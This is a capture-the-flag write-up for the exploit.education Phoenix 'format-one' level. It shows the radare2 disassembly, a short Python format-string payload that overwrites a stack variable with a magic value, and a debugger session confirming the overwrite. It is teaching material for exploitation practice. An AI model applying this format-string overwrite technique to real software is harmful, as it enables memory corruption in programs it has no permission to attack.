Here follows the dissasembly of the binary.
$ r2 /opt/phoenix/i486/format-one
[0x080483d0] > aas
Cannot analyze at 0x08048650
[0x080483d0] > afl
0x08048338 1 17 sym . _init
0x08048520 7 277 -> 112 sym . frame_dummy
0x08048610 5 49 sym . __do_global_ctors_aux
0x08048641 1 12 sym . _fini
0x080484a0 8 113 -> 111 sym . __do_global_dtors_aux
0x08048114 57 604 -> 666 sym .. interp
0x080483d0 1 62 entry0
0x080483c0 1 6 sym . imp . __libc_start_main
0x08048728 1 14 loc . __GNU_EH_FRAME_HDR
0x08048744 3 34 sym .. eh_frame
0x08048780 1 10 obj . __EH_FRAME_BEGIN
0x08048410 4 49 -> 40 sym . deregister_tm_clones
0x080487a4 1 4 obj . __FRAME_END
0x08048565 6 163 main
0x08048380 1 6 sym . imp . puts
0x08048370 1 6 sym . imp . fgets
0x08048390 1 6 sym . imp . errx
0x080483a0 1 6 sym . imp . sprintf
0x08048360 1 6 sym . imp . printf
0x080483b0 1 6 sym . imp . exit
[0x080483d0] > s main
[0x08048565] > pdf
/ ( fcn ) main 163
| int main ( int argc , char ** argv , char ** envp ) ;
| ; var int32_t var_3ch @ ebp-0x3c
| ; var int32_t var_2dh @ ebp-0x2d
| ; var int32_t var_2ch @ ebp-0x2c
| ; var int32_t var_ch @ ebp-0xc
| ; arg int32_t arg_4h @ esp+0x4
| ; DATA XREF from entry0 @ 0x8048404
| 0x08048565 8 d4c2404 lea ecx , [ arg_4h ]
| 0x08048569 83 e4f0 and esp , 0xfffffff0
| 0x0804856c ff71fc push dword [ ecx - 4 ]
| 0x0804856f 55 push ebp
| 0x08048570 89 e5 mov ebp , esp
| 0x08048572 51 push ecx
| 0x08048573 83 ec44 sub esp , 0x44
| 0x08048576 83 ec0c sub esp , 0xc
| 0x08048579 6850860408 push str . Welcome_to_phoenix_format_one__brought_to_you_by_https : __exploit . education ; sym..rodata
| ; 0x8048650 ; "Welcome to phoenix/format-one, brought to you by https://exploit.education"
| 0x0804857e e8fdfdffff call sym . imp . puts ; int puts(const char *s)
| 0x08048583 83 c410 add esp , 0x10
| 0x08048586 a1a0980408 mov eax , dword [ obj . stdin ] ; sym..bss
| ; [0x80498a0:4]=0
| 0x0804858b 83 ec04 sub esp , 4
| 0x0804858e 50 push eax
| 0x0804858f 6 a0f push 0xf ; 15
| 0x08048591 8 d45c4 lea eax , [ var_3ch ]
| 0x08048594 50 push eax
| 0x08048595 e8d6fdffff call sym . imp . fgets ; char *fgets(char *s, int size, FILE *stream)
| 0x0804859a 83 c410 add esp , 0x10
| 0x0804859d 85 c0 test eax , eax
| , =< 0x0804859f 750 f jne 0x80485b0
| | 0x080485a1 83 ec08 sub esp , 8
| | 0x080485a4 689 b860408 push str . Unable_to_get_buffer ; 0x804869b ; "Unable to get buffer"
| | 0x080485a9 6 a01 push 1 ; 1
| | 0x080485ab e8e0fdffff call sym . imp . errx ; void errx(int eval)
| ` -> 0x080485b0 c645d300 mov byte [ var_2dh ] , 0
| 0x080485b4 c745f4000000 . mov dword [ var_ch ] , 0
| 0x080485bb 83 ec08 sub esp , 8
| 0x080485be 8 d45c4 lea eax , [ var_3ch ]
| 0x080485c1 50 push eax
| 0x080485c2 8 d45d4 lea eax , [ var_2ch ]
| 0x080485c5 50 push eax
| 0x080485c6 e8d5fdffff call sym . imp . sprintf ; int sprintf(char *s, const char *format, ...)
| 0x080485cb 83 c410 add esp , 0x10
| 0x080485ce 8 b45f4 mov eax , dword [ var_ch ]
| 0x080485d1 3 d6c4f7645 cmp eax , 0x45764f6c
| , =< 0x080485d6 7416 je 0x80485ee
| | 0x080485d8 8 b45f4 mov eax , dword [ var_ch ]
| | 0x080485db 83 ec08 sub esp , 8
| | 0x080485de 50 push eax
| | 0x080485df 68 b0860408 push str . Uh_oh___changeme__is_not_the_magic_value__it_is_0x_08x ; 0x80486b0 ; "Uh oh, 'changeme' is not the magic value, it is 0x%08x\n"
| | 0x080485e4 e877fdffff call sym . imp . printf ; int printf(const char *format)
| | 0x080485e9 83 c410 add esp , 0x10
| , ==< 0x080485ec eb10 jmp 0x80485fe
| | ` -> 0x080485ee 83 ec0c sub esp , 0xc
| | 0x080485f1 68 e8860408 push str . Well_done__the__changeme__variable_has_been_changed_correctly ; 0x80486e8 ; "Well done, the 'changeme' variable has been changed correctly!"
| | 0x080485f6 e885fdffff call sym . imp . puts ; int puts(const char *s)
| | 0x080485fb 83 c410 add esp , 0x10
| | ; CODE XREF from main @ 0x80485ec
| ` --> 0x080485fe 83 ec0c sub esp , 0xc
| 0x08048601 6 a00 push 0
\ 0x08048603 e8a8fdffff call sym . imp . exit ; void exit(int status)
[0x08048565] > agf
[0x08048565] > # int main ( int argc , char ** argv , char ** envp ) ;
. ---------------------------------------------------------------------------------------- .
| 0x8048565 |
| ( fcn ) main 163 |
| int main ( int argc , char ** argv , char ** envp ) ; |
| ; var int32_t var_3ch @ ebp-0x3c |
| ; var int32_t var_2dh @ ebp-0x2d |
| ; var int32_t var_2ch @ ebp-0x2c |
| ; var int32_t var_ch @ ebp-0xc |
| ; arg int32_t arg_4h @ esp+0x4 |
| ; DATA XREF from entry0 @ 0x8048404 |
| lea ecx , [ arg_4h ] |
| and esp , 0xfffffff0 |
| push dword [ ecx - 4 ] |
| push ebp |
| mov ebp , esp |
| push ecx |
| sub esp , 0x44 |
| sub esp , 0xc |
| ; sym..rodata |
| ; 0x8048650 |
| ; "Welcome to phoenix/format-one, brought to you by https://exploit.education" |
| push str . Welcome_to_phoenix_format_one__brought_to_you_by_https : __exploit . education |
| ; int puts(const char *s) |
| call sym . imp . puts ;[oa] |
| add esp , 0x10 |
| ; sym..bss |
| ; [0x80498a0:4]=0 |
| mov eax , dword [ obj . stdin ] |
| sub esp , 4 |
| push eax |
| ; 15 |
| push 0xf |
| lea eax , [ var_3ch ] |
| push eax |
| ; char *fgets(char *s, int size, FILE *stream) |
| call sym . imp . fgets ;[ob] |
| add esp , 0x10 |
| test eax , eax |
| jne 0x80485b0 |
` ---------------------------------------------------------------------------------------- '
f t
| |
| ' ------------------------------------- .
| |
| |
. ---------------------------------- . . ------------------------------------------------- .
| 0x80485a1 | | 0x80485b0 |
| sub esp , 8 | | mov byte [ var_2dh ] , 0 |
| ; 0x804869b | | mov dword [var_ch], 0 |
| ; "Unable to get buffer" | | sub esp, 8 |
| push str . Unable_to_get_buffer | | lea eax , [ var_3ch ] |
| ; 1 | | push eax |
| push 1 | | lea eax , [ var_2ch ] |
| ; void errx(int eval) | | push eax |
| call sym . imp . errx ;[oc] | | ; int sprintf(char *s, const char *format, ...) |
` ---------------------------------- ' | call sym . imp . sprintf ;[od] |
| add esp , 0x10 |
| mov eax , dword [ var_ch ] |
| cmp eax , 0x45764f6c |
| je 0x80485ee |
` ------------------------------------------------- '
f t
| |
| ' ------------------- .
. --------------------------------------------------- ' |
| |
. -------------------------------------------------------------------- . . --------------------------------------------------------------------------- .
| 0x80485d8 | | 0x80485ee |
| mov eax , dword [ var_ch ] | | sub esp , 0xc |
| sub esp , 8 | | ; 0x80486e8 |
| push eax | | ; "Well done, the 'changeme' variable has been changed correctly!" |
| ; 0x80486b0 | | push str.Well_done__the__changeme__variable_has_been_changed_correctly |
| ; "Uh oh, 'changeme' is not the magic value, it is 0x%08x\n" | | ; int puts(const char *s) |
| push str . Uh_oh___changeme__is_not_the_magic_value__it_is_0x_08x | | call sym . imp . puts ;[oa] |
| ; int printf(const char *format) | | add esp, 0x10 |
| call sym . imp . printf ;[oe] | `---------------------------------------------------------------------------'
| add esp , 0x10 | v
| jmp 0x80485fe | |
` -------------------------------------------------------------------- ' |
v |
| |
' -------------------------------------------------------- . |
| . -------------- '
| |
. ----------------------------------- .
| 0x80485fe |
| ; CODE XREF from main @ 0x80485ec |
| sub esp , 0xc |
| push 0 |
| ; void exit(int status) |
| call sym . imp . exit ;[of] |
` ----------------------------------- '
From the above, the key points are the following:
The input is read from STDIN via a call to fgets
at address 0x08048595
. It is saved at var_3ch
with a size restriction of 15 bytes.
var_3ch
is used as a format string for sprintf
at 0x080485c6
.
The objective is to overwrite var_ch
with 0x45764f6c
, which is tested at 0x080485d1
.
The exploit is almost identical to the one from the previous level, with the only exception being the value that needs to be written to var_ch
.
#!/usr/bin/env python3
import os
os . write ( 1 , b ' \x25\x33\x32\x78 ' + b ' \x6c\x4f\x76\x45 ' )
$ ./theScript.py > pattern
#!/usr/bin/env rarun2
stdio = /dev/pts/0
stdin = ./pattern
Replace /dev/pts/0
with the output of the command tty
and ./pattern
with the full path to the file that contains the input to be read from the binary.
$ r2 -d /opt/phoenix/i486/format-one -r theProfile.rr2
[0xf7ef4d4b] > aas
Cannot analyze at 0x08048650
[0xf7ef4d4b] > db 0x080485c6
[0xf7ef4d4b] > dc
Welcome to phoenix / format - one , brought to you by https : //exploit.education
hit breakpoint at : 80485 c6
[0x080485c6] > dr
eax = 0xffb9951c
ebx = 0xf7f2a000
ecx = 0xf7f2ae08
edx = 0x00000000
esi = 0xffb995d4
edi = 0x00000001
esp = 0xffb994f0
ebp = 0xffb99548
eip = 0x080485c6
eflags = 0x00000292
oeax = 0xffffffff
[0x080485c6] > px / 16 xw 0xffb99548 - 0x3c
0xffb9950c 0x78323325 0x45764f6c 0xf7f2c100 0x00000000 %32 xlOvE ........
0xffb9951c 0x08048300 0x00000000 0x00000000 0x00000000 ................
0xffb9952c 0x00000000 0x00000000 0x00000000 0x00000000 ................
0xffb9953c 0x00000000 0x00000000 0xffb99560 0xffb995dc ........ ` .......
[0x080485c6] > px / xw 0xffb99548 - 0xc
0xffb9953c 0x00000000 ....
[0x080485c6] > dso
hit breakpoint at : 80485 cb
[0x080485c6] > px / 16 xw 0xffb99548 - 0x3c
0xffb9950c 0x78323325 0x45764f6c 0xf7f2c100 0x00000000 %32 xlOvE ........
0xffb9951c 0x20202020 0x20202020 0x20202020 0x20202020
0xffb9952c 0x20202020 0x20202020 0x32663766 0x30343161 f7f2a140
0xffb9953c 0x45764f6c 0x00000000 0xffb99560 0xffb995dc lOvE .... ` .......
[0x080485c6] > px / xw 0xffb99548 - 0xc
0xffb9953c 0x45764f6c lOvE
[0x080485c6] > dc
Well done , the ' changeme ' variable has been changed correctly !
Conclusion
In this level, the approach was almost identical to that of the previous one with the only difference being that a specific value needed to be written to var_ch
.